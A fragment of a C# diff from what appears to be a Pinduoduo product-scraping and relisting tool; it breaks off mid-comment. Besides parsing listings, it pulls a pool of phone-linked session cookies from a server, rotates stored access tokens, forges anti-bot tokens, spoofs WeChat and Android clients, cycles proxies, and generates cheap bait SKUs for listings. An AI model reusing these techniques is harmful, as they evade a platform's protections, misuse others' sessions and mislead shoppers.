bool had = false; + for (int j = 0; j < pb.Props.Count; j++) + { + if (pb.Props[j].name == p.name) + { + p = pb.Props[j]; + had = true; + break; + } + } + temp = m[i].Groups[3].Value; + var mm = BaseRegex.GetMatchRegex(ref temp, @"""value"":""([-\d]*?)"",""name"":""([^""]+?)""[^\}]*\}"); + for (int j = 0; j < mm.Count; j++) + { + string v = mm[j].Groups[1].Value; + string vi = mm[j].Groups[0].Value; + string image = BaseRegex.GetStringJson(ref vi, "image"); + if (image == "null") + image = ""; + PropValueBase pr = new PropValueBase(); + pr.value = v; + pr.name = mm[j].Groups[2].Value; + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pr.image = image; + pr.image_from_url = image; + bool hadx = false; + for (int k = 0; k < p.Values.Count; k++) + { + if (p.Values[k].name == pr.name) + { + hadx = true; + break; + } + } + if (!hadx) + p.Values.Add(pr); + } + if (!had) + { + p.sort = i + 1; + pb.Props.Add(p); + } + } + if (pb.Props.Count == 1) + { + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + if (pb.Props[0].Values[j].image.Contains("yangkeduo")) + continue; + bool ishad = false; + for (int k = 0; k < pb.SkuMaps.Count; k++) + { + if (pb.SkuMaps[k].name.Contains(pb.Props[0].Values[j].name)) + { + pb.SkuMaps[k].prop_image = pb.Props[0].Values[j].image; + ishad = true; + break; + } + } + } + } + + if (pb.Props.Count == 2) + { + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + if (pb.Props[0].Values[j].image.Contains("yangkeduo")) + continue; + for (int l = pb.SkuMaps.Count - 1; l > 0; l--) + { + string[] li = pb.SkuMaps[l].name.Split(';'); + string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + if (pb.Props[0].Values[j].name == n1 || pb.Props[0].Values[j].name == n2) + { + pb.SkuMaps[l].prop_image = pb.Props[0].Values[j].image; + break; + } + } + } + for (int j = 0; j < pb.Props[1].Values.Count; j++) + { + if (pb.Props[1].Values[j].image.Contains("yangkeduo")) + continue; + for (int l = pb.SkuMaps.Count - 1; l > 0; l--) + { + string[] li = pb.SkuMaps[l].name.Split(';'); + string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + if (pb.Props[1].Values[j].name == n1 || pb.Props[1].Values[j].name == n2) + { + pb.SkuMaps[l].prop_image = pb.Props[0].Values[j].image; + break; + } + } + } + } + //pb.name = goodTitle[0]; + //char[] idc = Product.FromId.ToString().ToCharArray(); + //if (Product.FromId.ToString().Length < Product.TolerantFormId.Length) + // idc = Product.TolerantFormId.ToString().ToCharArray(); + //string ld = idc[idc.Length - 1].ToString(); + //for (int i = 1; i < idc.Length - 1; i++) + //{ + // ld += idc[i]; + //} + //ld += idc[0]; + //for (int i = 1; i < goodTitle.Length; i++) + //{ + // var p = Product.Clone(); + // p.FromId = long.Parse(ld); + // p.Titlte = goodTitle[i]; + // p.FromType = "搜款网"; + // p.Uped = false; + // UploadPinduoduoMain.ProductStock.Insert(0, p); + //} + } + catch + { + } + } + public Dictionary GetApiUidList() + { + DicApiUid.Clear(); + Dictionary dicApiUid = new Dictionary(); + string url = BaseClass.LoginApiUrl + "?obj=littlecow/sign&act=get_api_uid"; + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex()); + if (string.IsNullOrEmpty(html) || html.Contains("error")) + { + return dicApiUid; + } + var result = html.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); + if (result.Count() > 0) + { + foreach (var v in result) + { + dicApiUid.Add(v, true); + } + } + DicApiUid = dicApiUid; + return dicApiUid; + } + + public bool DeleteAndDown(string html) + { + if (string.IsNullOrEmpty(html)) + return false; + if (html.Contains("

    商品不存在

    ")) + return true; + if (html.Contains(">原商品已下架")) + return true; + if (html.Contains("预售")) + { + pb.IsPreSale = IsAdvance = true; + return false; + } + return false; + } + + public void GetShop(long mainId) + { + for (int i = 1; i <= CollectKeywordByTaobao.PageTop; i++) + { + string url = "http://apiv4.yangkeduo.com/v2/mall/" + mainId + "/goods?page=" + i + "&size=50&sort_type=GMV&pdduid=0"; + string refere = BaseClass.NewUrl + "/mall_page.html?is_spike=0&mall_id=" + mainId + "&refer_page_name=goods_detail&refer_page_id=goods_detail_1510305388010_pSoDpFSdOa&refer_page_sn=10014&sort_type=1"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + var m = BaseRegex.GetMatchRegex(ref html, @"\{""normal_price"":(.*?)""group"":\{.*?\}(.*?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + if (!CollectKeywordByTaobao.Running) + return; + string list = m[j].Groups[0].Value; + TaobaoProductBase t = new TaobaoProductBase(); + t.SaleCount = BaseRegex.GetIntJson(ref list, "cnt"); + t.Price = BaseRegex.GetDecimalJson(ref list, "price") / 100m; + string country = BaseRegex.GetStringJson(ref list, "country"); + if (!string.IsNullOrEmpty(country) || t.Price < CollectKeywordByTaobao.MinPrice || t.Price > CollectKeywordByTaobao.MaxPrice) + { + continue; + } + if (CollectKeywordByTaobao.MinSale > t.SaleCount) + { + break; + } + t.FromId = BaseRegex.GetLongJson(ref list, "goods_id"); + t.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + t.FromType = "拼多多"; + var p = new PinduoduoProductCollect(Name, t); + p.Cloud = Cloud; + p.Get(); + } + } + + + } + + public string GetNewName(string list, ref ProductCollectBase pb, string image) + { + list = list.Replace("\r\n", "").Replace(" ", ""); + string temp = ""; + var m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_value_id"":([\d]+),""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)"",""spec_key_id"":([\d]+)"); + if (m != null && m.Count == 0) + { + m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_key_id"":([\d]+),""spec_value"":""([^""]+?)"",""spec_value_id"":([\d]+)"); + } + if (m != null && m.Count == 0) + m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_key_id"":([\d]+),""spec_value"":""([^""]+?)"""); + if (m.Count == 0) + { + var jSkuValue = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(list.ToString()); + var props = JArray.Parse(jSkuValue["specs"].ToString()).ToObject>(); + for (int i = 0; i < props.Count; i++) + { + var specStr = props[i].ToString(); + var spec_key = BaseRegex.GetStringJson(ref specStr, "spec_key"); + var spec_key_id = BaseRegex.GetStringJson(ref specStr, "spec_key_id"); + var spec_value = BaseRegex.GetStringJson(ref specStr, "spec_value"); + var spec_value_id = BaseRegex.GetStringJson(ref specStr, "spec_value_id"); + temp += spec_key + ":" + spec_value + ";"; + bool had = false; + PropBase p = new PropBase(); + for (int j = 0; j < pb.Props.Count; j++) + { + if (pb.Props[j].name == spec_key) + { + had = true; + p = pb.Props[j]; + break; + } + } + if (!had) + { + p = new PropBase(); + p.name = spec_key; + p.pinduoduo_id = spec_key_id; + pb.Props.Add(p); + } + had = false; + for (int j = 0; j < p.Values.Count; j++) + { + if (p.Values[j].name == spec_value) + { + p.Values[j].image = image; + p.Values[j].image_from_url = image; + had = true; + break; + } + } + if (!had) + { + PropValueBase pv = new PropValueBase(); + pv.id = spec_value_id; + pv.name = spec_value; + pv.image = image; + pv.image_from_url = image; + p.Values.Add(pv); + } + } + return temp; + } + for (int i = 0; i < m.Count; i++) + { + temp += m[i].Groups[2].Value + ":" + m[i].Groups[3].Value + ";"; + bool had = false; + PropBase p = new PropBase(); + for (int j = 0; j < pb.Props.Count; j++) + { + if (pb.Props[j].name == m[i].Groups[2].Value) + { + had = true; + p = pb.Props[j]; + break; + } + } + if (!had) + { + p = new PropBase(); + p.name = m[i].Groups[2].Value; + if (m[i].Groups.Count > 3) + p.pinduoduo_id = m[i].Groups[4].Value; + pb.Props.Add(p); + } + had = false; + for (int j = 0; j < p.Values.Count; j++) + { + if (p.Values[j].name == m[i].Groups[3].Value) + { + p.Values[j].image = image; + p.Values[j].image_from_url = image; + had = true; + break; + } + } + if (!had) + { + PropValueBase pv = new PropValueBase(); + if (m[i].Groups.Count > 4) + pv.id = m[i].Groups[1].Value; + pv.name = m[i].Groups[3].Value; + pv.image = image; + pv.image_from_url = image; + p.Values.Add(pv); + } + } + return temp; + + + + //string temp = ""; + ////var m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_value_id"":([\d]+),""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)"",""spec_key_id"":([\d]+)"); + ////if (m!=null&&m.Count==0) + ////{ + //// m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_key_id"":([\d]+),""spec_value"":""([^""]+?)"",""spec_value_id"":([\d]+)"); + ////} + ////if (m != null && m.Count == 0) + //// m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_key_id"":([\d]+),""spec_value"":""([^""]+?)"""); + //var jSkuProp = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(list.ToString()); + //string specStr = jSkuProp["specs"].ToString(); + ////for (int i = 0; i < m.Count; i++) + ////{ + // var spec_key = BaseRegex.GetStringJson(ref specStr, "spec_key"); + // var spec_key_id = BaseRegex.GetStringJson(ref specStr, "spec_key_id"); + // var spec_value = BaseRegex.GetStringJson(ref specStr, "spec_value"); + // var spec_value_id = BaseRegex.GetStringJson(ref specStr, "spec_value_id"); + // temp += spec_key + ":" + spec_value + ";"; + // //temp += m[i].Groups[2].Value + ":" + m[i].Groups[3].Value + ";"; + // bool had = false; + // PropBase p = new PropBase(); + // for (int j = 0; j < pb.Props.Count; j++) + // { + // if (pb.Props[j].name == spec_key) + // { + // had = true; + // p = pb.Props[j]; + // break; + // } + // } + // if (!had) + // { + // p = new PropBase(); + // p.name = spec_key; + // p.pinduoduo_id = spec_key_id; + // pb.Props.Add(p); + // } + // had = false; + // for (int j = 0; j < p.Values.Count; j++) + // { + // if (p.Values[j].name == spec_value) + // { + // p.Values[j].image = image; + // p.Values[j].image_from_url = image; + // had = true; + // break; + // } + // } + // if (!had) + // { + // PropValueBase pv = new PropValueBase(); + // pv.id = spec_value_id; + // pv.name = spec_value; + // pv.image = image; + // pv.image_from_url = image; + // p.Values.Add(pv); + // } + ////} + //return temp; + } + + public static void GetServerCookies() + { + string url = BaseClass.LoginApiUrl + "?obj=upshopid/user_cookies"; + string html = GetHtml.PostUtf8(url, "act=get_rand"); + if (string.IsNullOrEmpty(html)) + html = GetHtml.PostUtf8(url, "act=get_rand"); + var m = BaseRegex.GetMatchRegex(ref html, "]+?>)"); + for (int i = 0; m != null && i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + string mobile = BaseRegex.GetStringJson(ref list, "mobile"); + string cookies = BaseRegex.GetStringJson(ref list, "cookies"); + Mobiles.Add(new KeyValueBase(mobile, cookies)); + } + } + + public static string GetRandomPDDAccessToken(Func predicateToken) + { + var tokenList = PinDuoDuoTokenList.Where(p => predicateToken(p)).Select(p => p.PDDAccessToken).ToArray(); + if (!tokenList.Any()) + { + return string.Empty; + } + string pddAccessToken = tokenList[new Random(BitConverter.ToInt32(Guid.NewGuid().ToByteArray(), 0)).Next(0, tokenList.Length)]; + return pddAccessToken; + } + + public static string GetPinDuoDuoSimilarProductNameByImage(string imageUrl, string pddToken) + { + var url = "http://api.yangkeduo.com/api/search/img"; + var data = JsonConvert.SerializeObject(new { flip = "1#1#" + Guid.NewGuid().ToString(), url = imageUrl.StartsWith("//") ? "https:" + imageUrl : imageUrl, sort = "_sales" }); + string userAgent = BaseClass.AndroidUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.Headers.Add("AccessToken", pddToken); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + wb.Headers.Add("Referer", "Android"); + wb.Headers.Add("Content-Type", "application/json; charset=UTF-8"); + string antiToken = SignHelper.GetSign(); + wb.Headers.Add("anti-token", antiToken); + wb.Headers.Add("PDD-CONFIG", "00102"); + wb.Headers.Add("p-appname", "pinduoduo"); + wb.Headers.Add("X-PDD-QUERIES", "width=810&height=1440&net=1&brand=Android&model=MuMu&osv=6.0.1&appv=4.70.0&pl=2"); + byte[] postData = Encoding.UTF8.GetBytes(data); + try + { + wb.Headers.Add("ContentLength", postData.Length.ToString()); + var html = Encoding.UTF8.GetString(wb.UploadData(url, "POST", postData)); + JObject jObj = JObject.Parse(html); + var productName = string.Empty; + if (jObj["items"] != null) + { + foreach (var item in jObj["items"]) + { + productName = item["goods_name"].ParseToString(); + break; + } + } + return productName; + } + catch (Exception e) + { + LogSave.Add(e.ToString()); + return ""; + } + } + + public static string GetPDDProductImageUrl(long goodsId, string pddToken) + { + var imgUrl = GetProductImageUrlViaYouHui(goodsId); + if (string.IsNullOrEmpty(imgUrl)) + { + imgUrl = GetProductImageUrlViaProductId(goodsId, pddToken); + } + return imgUrl; + } + + public static string GetProductImageUrlViaYouHui(long goodsId) + { + string imgUrl = string.Empty; + try + { + string url = "https://youhui.pinduoduo.com/goods/goods-detail?goodsId=" + goodsId + "&r=" + BitConverter.ToInt32(Guid.NewGuid().ToByteArray(), 0); + string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"); + string json = GetHtml.Resove(html, ""); + if (!string.IsNullOrEmpty(json)) + { + JObject jObj = JObject.Parse(json); + if (jObj != null) + { + foreach (string image in jObj["props"]["pageProps"]["goodsDetail"]["goodsGalleryUrls"].ToObject()) + { + imgUrl = image; + break; + } + } + } + } + catch (Exception ex) + { + LogSave.Add(ex.ToString()); + } + return imgUrl; + } + + public static string GetProductImageUrlViaProductId(long goodsId, string pddToken) + { + string imgUrl = string.Empty; + try + { + string url = "http://yangkeduo.com/goods.html?goods_id=" + goodsId; + string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "PDDAccessToken=" + pddToken); + string json = GetHtml.Resove(html, "window.rawData=", "}};"); + if (!string.IsNullOrEmpty(json)) + { + json += "}}"; + JObject jObj = JObject.Parse(json); + if (jObj != null) + { + foreach (string image in jObj["store"]["initDataObj"]["goods"]["topGallery"].ToObject()) + { + imgUrl = image; + break; + } + } + } + } + catch (Exception ex) + { + LogSave.Add(ex.ToString()); + } + return imgUrl; + } + + public static string GenerateLowPriceSkus(long goodsId, decimal lowPrice, List productPropList, List lowPriceSpecs, string pddToken) + { + string skuContent = string.Empty; + if (productPropList == null || productPropList.Count < 1) + return skuContent; + try + { + string url = "http://yangkeduo.com/goods.html?goods_id=" + goodsId; + string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "PDDAccessToken=" + pddToken); + string json = GetHtml.Resove(html, "window.rawData=", "}};"); + if (!string.IsNullOrEmpty(json)) + { + json += "}}"; + JObject jObj = JObject.Parse(json); + if (jObj != null) + { + var goodsDetail = jObj["store"]["initDataObj"]["goods"]; + if (goodsDetail != null) + { + StringBuilder sbSkuContent = new StringBuilder(); + //把spec value名字从要上传的商品中拿出 + List[] propValueList = new List[2]; + string[] specTypeNames = new string[2]; + for (int i = 0; i < productPropList.Count; i++) + { + propValueList[i] = new List(); + specTypeNames[i] = productPropList[i].pinduoduo_id; + foreach (var propValue in productPropList[i].Values) + { + if (propValue.is_used) + propValueList[i].Add(propValue.id); + } + } + + var skuList = goodsDetail["skus"].ToObject(); + JToken pickedSku = null; + string specFirstValue = null; + List specSecondList = new List(); + List pickedSkuList = new List(); + var thumbUrl = string.Empty; + int specFirstIndex = -1; + //从低价引流商品中选出一个sku,有上传商品spec第一组中没有的spec + foreach (var sku in skuList) + { + var specs = sku["specs"].ToObject(); + decimal groupPrice = sku["groupPrice"].ParseToDecimal(); + int quantity = sku["quantity"].ParseToInt(); + if (specs.Count > 0 && quantity != 0 && groupPrice != 0 && groupPrice <= lowPrice) + { + for (int ii = 0; specFirstIndex == -1 && ii < specs.Count; ii++) + { + // 比较得出上传商品中第一组spec对应低价引流商品的spec索引 + if (specs[ii]["spec_key_id"].ParseToString() == specTypeNames[0]) + { + specFirstIndex = ii; + if (productPropList.Count == 2) + { + if (specs[1 - specFirstIndex]["spec_key_id"].ParseToString() != specTypeNames[1]) + { + specFirstIndex = -1; + } + } + break; + } + } + if (specFirstIndex == -1) + { + break; + } + if (specFirstValue == null && !propValueList[0].Contains(specs[specFirstIndex]["spec_value_id"].ParseToString())) + { + specFirstValue = specs[specFirstIndex]["spec_value_id"].ParseToString(); + pickedSku = sku; + thumbUrl = pickedSku["thumbUrl"].ParseToString(); + thumbUrl = thumbUrl.StartsWith("//") ? "https:" + thumbUrl : thumbUrl; + if (productPropList.Count == 1) + { + break; + } + } + if (specFirstValue != null && specs[specFirstIndex]["spec_value_id"].ParseToString() == specFirstValue) + { + specSecondList.Add(specs[1 - specFirstIndex]["spec_value_id"].ParseToString()); + pickedSkuList.Add(sku); + } + } + } + if (specSecondList.Count > 0) + { + //比较上传商品中第二组spec中没有的spec进行增加,保证使用最低价格区间的价格并且高于上家价格 + int addNewSpecSecondIndex = -1; + for (int i = 0; i < specSecondList.Count; i++) + { + if (!propValueList[1].Contains(specSecondList[i])) + { + foreach (var productSpecFirst in propValueList[0]) + { + //在上传商品中增加第二组没有的spec + sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":0,\"price\":\"{0}\",\"weight\":1000,\"multi_price\":\"{1}\"," + + "\"thumb_url\":\"{2}\",\"out_sku_sn\":\"{3}\",\"quantity\":0,\"spec_id_list\":\"[{4}]\",\"defaultQuantity\":0}}", + ((int)((lowPrice + 1) * 100)).ToString(), + ((int)(lowPrice * 100)).ToString(), + thumbUrl, goodsId.ToString(), + productSpecFirst + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[i])); + } + addNewSpecSecondIndex = i; + //只需要增加一组没有的spec即可 + break; + } + } + if (addNewSpecSecondIndex != -1) + { + //增加低价引流商品的一组sku + for (int i = 0; i < propValueList[1].Count; i++) + { + if (specSecondList.Contains(propValueList[1][i])) + { + //增加低价引流中第二组spec在上传商品中存在的 + var ind = specSecondList.IndexOf(propValueList[1][i]); + sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," + + "\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}", + pickedSkuList[ind]["limitQuantity"].ParseToString(), + ((int)((lowPrice + 1) * 100)).ToString(), + ((int)(lowPrice * 100)).ToString(), + thumbUrl, goodsId.ToString(), pickedSkuList[ind]["quantity"].ParseToString(), + ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[ind]), + pickedSkuList[ind]["defaultQuantity"].ParseToString()); + } + else + { + //在低价引流中增加上传商品有但低价引流第二组spec没有的 + sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":0,\"price\":\"{0}\",\"weight\":1000,\"multi_price\":\"{1}\"," + + "\"thumb_url\":\"{2}\",\"out_sku_sn\":\"{3}\",\"quantity\":0,\"spec_id_list\":\"[{4}]\",\"defaultQuantity\":0}}", + ((int)((lowPrice + 1) * 100)).ToString(), + ((int)(lowPrice * 100)).ToString(), + thumbUrl, goodsId.ToString(), + ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + propValueList[1][i]); + } + } + //在低价引流中增加上传商品中第二组spec中没有的spec,保证有库存 + sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," + + "\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}", + pickedSkuList[addNewSpecSecondIndex]["limitQuantity"].ParseToString(), + ((int)((lowPrice + 1) * 100)).ToString(), + ((int)(lowPrice * 100)).ToString(), + thumbUrl, goodsId.ToString(), pickedSkuList[addNewSpecSecondIndex]["quantity"].ParseToString(), + ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[addNewSpecSecondIndex]), + pickedSkuList[addNewSpecSecondIndex]["defaultQuantity"].ParseToString()); + } + } + else if (specFirstValue != null) + { + //只有一个类型的spec + sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," + + "\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}", + pickedSku["limitQuantity"].ParseToString(), + ((int)((lowPrice + 1) * 100)).ToString(), + ((int)(lowPrice * 100)).ToString(), + thumbUrl, goodsId.ToString(), pickedSku["quantity"].ParseToString(), + ChooseSpecValue(lowPriceSpecs, 1, 0, specFirstValue), pickedSku["defaultQuantity"].ParseToString()); + } + skuContent = sbSkuContent.ToString(); + } + } + } + } + catch (Exception ex) + { + LogSave.Add(ex.ToString()); + } + return skuContent; + } + + private static string ChooseSpecValue(List lowPriceSpecs, int itemsCount, int itemIndex, string defaultValue) + { + return (lowPriceSpecs != null && lowPriceSpecs.Count == itemsCount && !string.IsNullOrEmpty(lowPriceSpecs[itemIndex])) ? lowPriceSpecs[itemIndex] : defaultValue; + } + + public static string MakeRequestForGetPddProdDetailByWeixin(long lProdId) + { + while (true) + { + for (int i = 0; i < GetProxyHtml.loopCount; i++) + { + for (int j = 0; j < GetProxyHtml.ipCount; j++) + { + var proxyObject = GetProxyHtml.GetIPSProxyQueue(); + if (proxyObject == null) + continue; + + HttpWebResponse response = null; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://wxapp.yangkeduo.com/compose/vtx/goods/detail/first/v3?pdduid=4014246301&xcx=20161201&xcx_version=v5.7.6.1&xcx_hash=" + GetTimeStampMilliSec() + GetRandomString(16)); + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache"); + request.Headers.Add("GZToken", GetRandomString(32));//@"8dc2715af33d80577efe1cccd945fd38" + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat"; + request.ContentType = "application/json;charset=UTF-8"; + request.Referer = "https://servicewechat.com/wx32540bd863b27570/1116/page-frame.html"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + System.Net.WebProxy proxy = proxyObject; + request.Proxy = proxy; + + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + string body = @"{""goods_id"":""" + lProdId + @""",""from"":""24"",""has_rec"":true,""address_list"":[{""address_id"":""19159230174"",""province_id"":""3"",""city_id"":""3401"",""district_id"":""4124"",""is_default"":""1"",""is_top"":0}],""page_version"":7,""show_type"":1,""xcx_trace_id"":""" + GetRandomInt(16) + @""",""client_time"":" + GetTimeStampMilliSec() + @",""anti_content"":""3aje" + GetRandomString(122) + @""",""xcx_version"":""v5.7.6.1""}"; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + response = (HttpWebResponse)request.GetResponse(); + GetProxyHtml.IpIndex++; + } + catch + { + + } + try + { + string result = ReadResponse(response); + if (result.Contains("goods_detail")) + { + //GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭 + return result; + } + } + catch + { + + } + Thread.Sleep(500); + } + GetProxyHtml.IpList = null; + } + //GlobalProxyHelper.CloseIp(listIp);//没找到也关闭 + Thread.Sleep(3000); + } + } + public string GenerateProductInfo(string html) + { + JObject ja = JObject.Parse(html); + try + { + html = html.Replace("\r\n", "").Replace(" ", ""); + if (ja["data"]["goods_detail"] != null) + { + string goodStr = ja["data"]["goods_detail"]["goods"].ToString(); + pb.from = "拼多多"; + pb.id = BaseRegex.GetLongJson(ref goodStr, "goods_id"); + pb.from_id = BaseRegex.GetLongJson(ref goodStr, "goods_id"); + pb.name = BaseRegex.GetStringJson(ref goodStr, "goods_name"); + //pb.name_share = BaseRegex.GetStringJson(ref html, "goods_desc"); + pb.from_shop_name = BaseRegex.GetStringJson(ref html, "mall_name"); + pb.content_pinduoduo = BaseRegex.GetStringJson(ref html, "goods_desc"); + string gallerys = ja["data"]["goods_detail"]["goods"]["gallery"].ToString(); + gallerys = gallerys.Replace("\r\n", "").Replace(" ", ""); + var m = BaseRegex.GetMatchRegex(ref gallerys, @"{[^}]+?""url""[^}]+?}"); + string content = ""; + for (int i = m.Count - 1; i >= 0; i--) + { + var item = m[i].Groups[0].Value; + int type = BaseRegex.GetIntJson(ref item, "type"); + if (type == 1) + { + string img = BaseRegex.GetStringJson(ref item, "url"); + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + pb.Images.Add(img); + } + else + { + string img = BaseRegex.GetStringJson(ref item, "url"); + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + int width = BaseRegex.GetIntJson(ref item, "width"); + int height = BaseRegex.GetIntJson(ref item, "height"); + content += ""; + } + } + + string skumaps = ja["data"]["goods_detail"]["sku"].ToString(); + skumaps = skumaps.Replace("\r\n", "").Replace(" ", ""); + m = BaseRegex.GetMatchRegex(ref html, @"\{[^}]+?""sku_id"".*?\}\].*?\}"); + for (int i = 0; i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + SkuMapBase s = new SkuMapBase(); + s.id = BaseRegex.GetLongJson(ref list, "sku_id"); + s.price = BaseRegex.GetDecimalJson(ref list, "group_price") / 100; + if (s.price < 1) + continue; + int num = BaseRegex.GetIntJson(ref list, "quantity"); + s.number = BaseRegex.GetIntJson(ref list, "is_onsale") == 1 ? 99 : 0; + if (num < 3) + num = 0; + if (s.number > num) + s.number = num; + s.sale_count = BaseRegex.GetIntJson(ref list, "sold_quantity"); + pb.saleCount += s.sale_count; + s.prop_image = BaseRegex.GetStringJson(ref list, "thumb_url"); + if (!string.IsNullOrEmpty(s.prop_image)) + s.prop_image = s.prop_image.Replace("@750w_1l_50Q", ""); + if (s.prop_image.Contains("?")) + s.prop_image = s.prop_image.Substring(0, s.prop_image.IndexOf("?")); + UpPinduoduoProductSet.AddImage(s.prop_image, s.prop_image, 0, 0); + s.name = GetNewName(list, ref pb, s.prop_image); + pb.SkuMaps.Add(s); + } + decimal maxPriceNew = 0; + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (maxPriceNew < pb.SkuMaps[i].price) + maxPriceNew = pb.SkuMaps[i].price; + } + string firstSkuImage = pb.SkuMaps[0].prop_image; + #region 原来有 + //if (pb.Props.Count == 1) + //{ + // for (int j = 0; j < pb.Props[0].Values.Count; j++) + // { + // bool ishad = false; + // for (int k = 0; k < pb.SkuMaps.Count; k++) + // { + // if (pb.SkuMaps[k].name.Contains(pb.Props[0].Values[j].name)) + // { + // ishad = true; + // break; + // } + // } + // if (!ishad) + // { + // SkuMapBase sm = new SkuMapBase(); + // sm.id = BaseClass.GetTime(DateTime.Today); + // sm.price = maxPriceNew; + // sm.number = 0; + // sm.sale_count = 0; + // pb.saleCount += sm.sale_count; + // sm.prop_image = firstSkuImage; + // sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";"; + // pb.SkuMaps.Add(sm); + // } + + // } + //} + // if (pb.Props.Count == 2) + // { + + // for (int j = 0; j < pb.Props[0].Values.Count; j++) + // { + // for (int k = 0; k < pb.Props[1].Values.Count; k++) + // { + // bool ishad = false; + // for (int l = 0; l < pb.SkuMaps.Count; l++) + // { + + // string[] li = pb.SkuMaps[l].name.Split(';'); + // if (li.Length == 2) + // { + // string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + // string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + // if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1) + // { + // ishad = true; + // break; + // } + + // } + // if (li.Length == 3) + // { + // string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + // string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + // string n3 = li[2].Substring(li[2].IndexOf(":") + 1); + // if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + // || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + // || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + // { + // ishad = true; + // break; + // } + // } + + // if (li.Length == 4) + // { + // string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + // string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + // string n3 = li[2].Substring(li[2].IndexOf(":") + 1); + // string n4 = li[3].Substring(li[3].IndexOf(":") + 1); + // if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + // || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + // || pb.Props[0].Values[j].name == n2 && 